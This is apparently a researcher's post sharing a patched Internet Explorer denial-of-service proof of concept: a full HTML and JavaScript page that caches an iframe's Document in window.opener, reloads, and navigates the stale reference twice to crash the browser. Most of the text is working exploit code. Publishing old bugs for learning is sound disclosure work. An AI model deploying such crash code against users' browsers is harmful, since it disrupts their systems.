The day after finding the UXSS variant using a cached iframe Document, I was curious what would happen if you navigated the same stale reference a second time in quick succession. It turned out that doing so was enough to crash the browser outright. It was a straightforward denial-of-service built directly on the same caching mechanism.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DoS_CachedDocument_ReloadTwice</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>DoS_CachedDocument_ReloadTwice</h2>
</center>
<hr />
1) Load <font color="blue"><b>non-html</b></font> content inside an IFRAME.<br />
<font color="red">window[0]</font>.location.replace('<font color="blue">empty.swf</font>');<br /><br />
2) Cache the <font color="blue"><b>D</b></font>ocument of the IFRAME in the <b>opener</b> of the top window, so the cached object will
be available even after leaving the page.<br />
<font color="blue">opener</font> = document.all.ifrNonHtmlContent.<font color="blue"><b>D</b></font>ocument;<br /><br />
3) Reload the page.<br />
location.<font color="blue">reload</font>();<br /><br />
4) Change location of the cached <font color="blue"><b>D</b></font>ocument (remember, it's in the current opener).<br />
<font color="blue"><b>opener</b>.location</font> = 'http://www.microsoft.com';<br /><br />
5) Change the location of the cached <font color="blue"><b>D</b></font>ocument again, and <font color="red"><b>Crash</b></font>!<br />
<font color="blue"><b>opener</b>.location</font> = 'http://www.microsoft.com';
<hr />
<center>
<input id="bntCrashMeNow" type="button" onclick="crashMeNow()" value="Crash Me in five seconds" style="display:none">
<br /><br />
<iframe id="ifrNonHtmlContent" width="100" height="100"></iframe>
</center>
</font>
<script language="JavaScript">
// This function loads non-html html content inside the IFRAME, caches it's Document and reloads the page.
// After reloading the page, this function will not be executed.
function loadCacheReload()
{
// You can change the fileType here. Try with the mht and it will happen the same. If you try with xaml or xml,
// it might work or it might crash.
window[0].location.replace('empty.swf');
// We wait a little bit (file loading) and cache the Document inside the opener of the main window.
setTimeout('opener = document.all.ifrNonHtmlContent.Document;', 1000);
// Then, we reload the page.
setTimeout('location.reload();', 2000);
}
// This function executes only after the page was reloaded. It loads an URL in the cached Document, and then, the same again.
function crashMeNow()
{
// This loads microsoft.com in the cached Document.
opener.location = "http://www.microsoft.com";
// And this does exactly the same, but this time, it crashes the Browser.
setTimeout('opener.location = "http://www.microsoft.com";',3000);
}
// If we reloaded this page, the window.opener should exist and it must have the cached Document of the IFRAME.
if (window.opener)
{
// This activates (shows) the crashMeButton to let you call the "crashMeNow" function.
document.all.bntCrashMeNow.style.display = 'inline';
}
// If it's the first time this page is loaded (no window.opener), let's load a flash inside the IFRAME,cache it's Document,
// and reload the page.
else
{
loadCacheReload();
}
</script>
</body>
</html>
The setup mirrors the UXSS variant exactly — load a SWF into an iframe, cache its Document in window.opener, reload the page — but instead of reading content from the cached reference, this version sets opener.location twice in quick succession with a short delay. The second navigation of a stale, partially torn-down Document object triggers a crash in IE’s internal reference-counting logic. It’s a minimal variation that shows how the same primitives can land in very different bug classes depending on how you use them.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.